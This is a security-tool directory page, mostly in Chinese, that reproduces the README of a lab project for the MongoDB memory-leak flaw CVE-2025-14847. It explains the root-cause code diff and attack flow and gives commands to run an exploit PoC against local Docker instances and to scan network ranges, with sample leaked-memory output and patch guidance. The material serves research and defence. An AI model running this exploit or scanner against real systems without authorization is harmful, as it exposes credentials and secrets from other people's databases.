Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
mongobleed-exploit-CVE-2025-14847 — 用于 mongobleed 漏洞 CVE-2025-14847 的漏洞利用实验室、Docker 和代码扫描器,外加 Phoenix Security Sync 工具 | Kitploit
工具/GitHubGitHub/security-phoenix-demo/mongobleed-exploit-cve-2025-14847
漏洞扫描器代码分析漏洞利用学习与教育数据库安全实验室与实践
GitHubsecurity-phoenix-demo/mongobleed-exploit-cve-2025-14847

mongobleed-exploit-CVE-2025-14847

用于 mongobleed 漏洞 CVE-2025-14847 的漏洞利用实验室、Docker 和代码扫描器,外加 Phoenix Security Sync 工具

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
查看仓库
13238个月前尚未审核
分享

🩸 MongoBleed - CVE-2025-14847 安全研究实验室

MongoBleed 标志

CVE-2025-14847 | CVSS 8.7(高危)| 未认证内存泄露

📖 完整文档 • 🔬 技术分析 • ⚡ 快速命令


🎯 CVE-2025-14847 概述

MongoBleed 是 MongoDB 网络传输层中的一个严重内存泄露漏洞,允许未认证的远程攻击者无需任何凭据或用户交互,即可窃取敏感的堆内存数据。

影响

类别描述
攻击类型远程未认证内存泄露
根本原因zlib 解压返回分配的缓冲区大小,而非实际数据长度
泄露的数据数据库密码、API 密钥、会话令牌、AWS 凭据、内部服务器状态
严重性CVSS 8.7(高危) - 可远程访问,无需认证
利用情况自 2025 年 12 月 28 日起已观察到野外利用

受影响版本(一览)

📖 查看完整受影响版本表 →

暴露规模

  • 87,000 - 194,000 个 MongoDB 实例暴露于公网
  • 42% 的云环境托管着易受攻击的实例(Wiz Research)
  • 无需认证 - 攻击发生在认证之前
  • 静默利用 - 无日志、无崩溃

面向工程团队的 TL;DR

🔬 漏洞剖析

技术分析

该漏洞存在于 MongoDB 的网络传输层(message_compressor_zlib.cpp)中,zlib 解压逻辑的一个严重缺陷使未认证攻击者能够泄露敏感的服务器内存。

根本原因

root@kitploit:~
// VULNERABLE CODE (before fix)
counterHitDecompress(input.length(), output.length());
return {output.length()};  // ❌ Returns ALLOCATED buffer size

// PATCHED CODE (after fix)  
counterHitDecompress(input.length(), output.length());
return length;             // ✅ Returns ACTUAL decompressed data length

利用流程

root@kitploit:~
┌─────────────────────────────────────────────────────────────────────────────┐
│                        MongoBleed Attack Vector                             │
├─────────────────────────────────────────────────────────────────────────────┤
│                                                                              │
│   ATTACKER                         VULNERABLE MongoDB                        │
│      │                                    │                                  │
│      │  1. Send OP_COMPRESSED message     │                                  │
│      │     uncompressedSize: 8192 (LIE)   │                                  │
│      │     actual data: ~100 bytes        │                                  │
│      │────────────────────────────────────>                                  │
│      │                                    │                                  │
│      │                          2. Allocate 8192-byte buffer                 │
│      │                          3. Decompress ~100 bytes                     │
│      │                          4. BUG: Return buffer.length() = 8192        │
│      │                          5. BSON parser reads uninitialized memory    │
│      │                                    │                                  │
│      │  6. Error response with leaked     │                                  │
│      │     memory as "field names"        │                                  │
│      │<────────────────────────────────────                                  │
│      │                                    │                                  │
│   🔓 LEAKED DATA:                         │                                  │
│      - API keys, passwords, tokens                                           │
│      - MongoDB internal state                                                │
│      - WiredTiger storage configs                                            │
│      - System /proc information                                              │
│      - Client connection data                                                │
│                                                                              │
└─────────────────────────────────────────────────────────────────────────────┘

发现时间线

日期事件
2025 年 12 月 15 日发现漏洞;内部工单 SERVER-115508
2025 年 12 月 19 日发布修复,披露 CVE-2025-14847
2025 年 12 月 24 日

🔬 查看技术分析 → 了解详细的漏洞剖析、漏洞利用构造和检测方法。

📁 项目结构

root@kitploit:~
mongobleed-exploit-CVE-2025-14847/
├── exploit/                    # 🔴 Exploit Lab
│   ├── docker-compose.yml      # Vulnerable + Patched MongoDB instances
│   ├── mongobleed.py           # Memory leak exploit PoC
│   ├── init/init-mongo.js      # Sensitive test data
│   ├── test-exploit.sh         # Lab test script
│   └── README.md               # Lab documentation
│
├── scanner/                    # 🌐 Network Scanner
│   ├── mongobleed_scanner.py   # IP/domain vulnerability scanner
│   ├── sample-targets.txt      # Sample targets file
│   └── README.md               # Scanner documentation
│
├── code-scan/                  # 📂 Code Scanner
│   ├── main.py                 # CLI entry point
│   ├── scanners/               # Docker, Python, Infra scanners
│   ├── models/                 # Finding, Vulnerability models
│   ├── integrations/           # Phoenix Security upload
│   └── README.md               # Code scanner documentation
│
└── original-exploit/           # 📚 Original PoC reference

🚀 快速开始

1. 漏洞利用实验室

root@kitploit:~
cd exploit

# Start lab (vulnerable + patched instances)
docker-compose up -d
sleep 10

# Test vulnerable instance (should leak memory)
python3 mongobleed.py --host localhost --port 27017

# Test patched instance (should NOT leak memory)
python3 mongobleed.py --host localhost --port 27018

# Full lab test
./test-exploit.sh

2. 网络扫描器

root@kitploit:~
cd scanner

# Scan single host
python3 mongobleed_scanner.py 192.168.1.100

# Scan network range
python3 mongobleed_scanner.py 192.168.1.0/24

# Scan from file
python3 mongobleed_scanner.py @sample-targets.txt --json --output results.json

3. 代码扫描器

root@kitploit:~
cd code-scan

# Scan project for vulnerable MongoDB versions
python3 main.py scan /path/to/project

# Scan and upload to Phoenix
python3 main.py scan /path/to/project --upload-phoenix

# Run tests
python3 main.py test

⚡ 快速命令

root@kitploit:~
# === EXPLOIT LAB ===
# Start lab
cd exploit && docker-compose up -d && sleep 10

# Run exploit (vulnerable instance)
python3 exploit/mongobleed.py --host localhost --port 27017

# Run exploit (patched instance - verify no leaks)
python3 exploit/mongobleed.py --host localhost --port 27018

# === NETWORK SCANNER ===
# Scan local lab
python3 scanner/mongobleed_scanner.py localhost:27017 localhost:27018

# Scan network
python3 scanner/mongobleed_scanner.py 192.168.1.0/24 --threads 20

# === CODE SCANNER ===
# Scan current directory
python3 code-scan/main.py scan .

# Scan with JSON output
python3 code-scan/main.py scan /path/to/project --json --output results.json

# Scan and upload to Phoenix
python3 code-scan/main.py scan /path/to/project --upload-phoenix

📊 输出示例

漏洞利用输出

root@kitploit:~
[*] mongobleed - CVE-2025-14847 MongoDB Memory Leak
[*] Target: localhost:27017
[*] Scanning offsets 20-8192...

[+] offset=  117 len=  39: ssions^\u0001�r��*YDr���
[+] offset=16582 len=1552: MemAvailable:    8554792 kB\nBuffers: ...
[+] offset=18731 len=3908: MONGOBLEED_PRIVATE_KEY_DATA_123...

[!] TARGET IS VULNERABLE TO CVE-2025-14847
[*] Total leaked: 8748 bytes
[*] Unique fragments: 42

[!] Potential secrets detected:
    • RSA Private Key
    • Lab Secret

网络扫描器输出

root@kitploit:~
[*] Scanning 254 targets with 10 threads...

[1/254] 192.168.1.10:27017 - 8.2.2 [VULNERABLE - CONFIRMED]
[2/254] 192.168.1.11:27017 - 8.2.3 [SAFE]

SUMMARY:
----------------------------------------
Total targets scanned: 254
Reachable hosts:       12
MongoDB instances:     8
VULNERABLE:            3

代码扫描器输出

root@kitploit:~
================================================================================
MONGOBLEED CODE SCANNER REPORT - CVE-2025-14847
================================================================================

🚨 VULNERABLE MONGODB VERSIONS DETECTED

1. [email protected]
   File: /project/docker-compose.yml
   Type: docker-compose
   Reason: Version 8.2.2 is in vulnerable range [8.2.0 - 8.2.2]
   ✅ Upgrade to: 8.2.3
   CVE: CVE-2025-14847

🛡️ 修复摘要

📖 查看完整修复指南 →


🔗 Phoenix Security 集成

所有扫描器都支持将扫描结果上传到 Phoenix Security 平台:

root@kitploit:~
# Create config
python3 code-scan/main.py create-config
cp .phoenix.config.TEMPLATE .phoenix.config

# Edit with your credentials
# [phoenix]
# client_id = your_client_id
# client_secret = your_client_secret
# api_base_url = https://api.securityphoenix.cloud

# Scan and upload
python3 code-scan/main.py scan /path/to/project --upload-phoenix

🔐 安全声明

⚠️ 重要提示:本工具包仅用于经授权的安全测试和研究目的。

  • 仅测试您拥有或已获得明确书面许可的系统
  • 未经授权访问计算机系统属违法行为
  • 泄露的数据可能包含敏感信息 - 请负责任地处理
  • 请通过适当的披露渠道报告漏洞

📚 文档

核心文档

工具文档

🔗 外部参考

  • OX Security 安全公告
  • MongoDB 修复提交
  • NVD 条目 - CVE-2025-14847

👤 致谢

  • 原始漏洞利用代码由 Joe Desimone(@dez_)编写
  • 为安全研究构建的实验室环境及扫描器增强功能

📄 许可证

仅限经授权的安全测试使用。请负责任地使用。


最后更新:2025 年 12 月

下载工具
分支受影响版本修复版本操作
8.2.x8.2.0 → 8.2.28.2.3立即升级
8.0.x8.0.0 → 8.0.168.0.17立即升级
7.0.x7.0.0 → 7.0.277.0.28立即升级
6.0.x6.0.0 → 6.0.266.0.27立即升级
5.0.x5.0.0 → 5.0.315.0.32立即升级
4.4.x4.4.0 → 4.4.294.4.30立即升级
≤4.2.x所有版本无⚠️ 已停止维护 - 请迁移至受支持版本
方面详情
易受攻击对象使用 zlib 压缩的 MongoDB 服务器网络传输层
严重性高危(CVSS 8.7/7.5)
影响未认证情况下远程泄露未初始化的堆内存
为何重要泄露的内存片段包含数据库密码、AWS 密钥和内部服务器状态
漏洞利用状态公开的概念验证(PoC)"mongobleed" 已验证并正在流传
现在该做什么立即升级到已修复版本,或禁用 zlib 压缩
MongoDB Atlas 集群已完成修补
2025 年 12 月 26 日发布公开 PoC "mongobleed"
2025 年 12 月 28 日观察到野外利用
优先级操作详情
🔴 1升级 MongoDB升级到已修复版本(8.2.3、8.0.17、7.0.28、6.0.27、5.0.32、4.4.30)
🟠 2禁用 zlibmongod --setParameter networkMessageCompressors=snappy,zstd
🟡 3网络隔离防火墙封禁 27017 端口,使用 VPN/专用网络
🔵 4轮换凭据如已泄露,轮换所有数据库密码、API 密钥和令牌
文档
描述
📖 DOCUMENTATION.md完整的项目文档,包含设置、使用和修复指南
🔬 TECHNICAL_ANALYSIS.md深入的漏洞剖析、利用机制和检测方法
⚡ QUICK_COMMANDS.md所有工具的即用复制粘贴命令
工具文档描述
🔴 漏洞利用实验室exploit/README.md基于 Docker 的易受攻击/已修补 MongoDB 实验室
🌐 网络扫描器scanner/README.mdIP/CIDR 漏洞扫描器
📂 代码扫描器code-scan/README.md用于检测易受攻击版本的代码库扫描器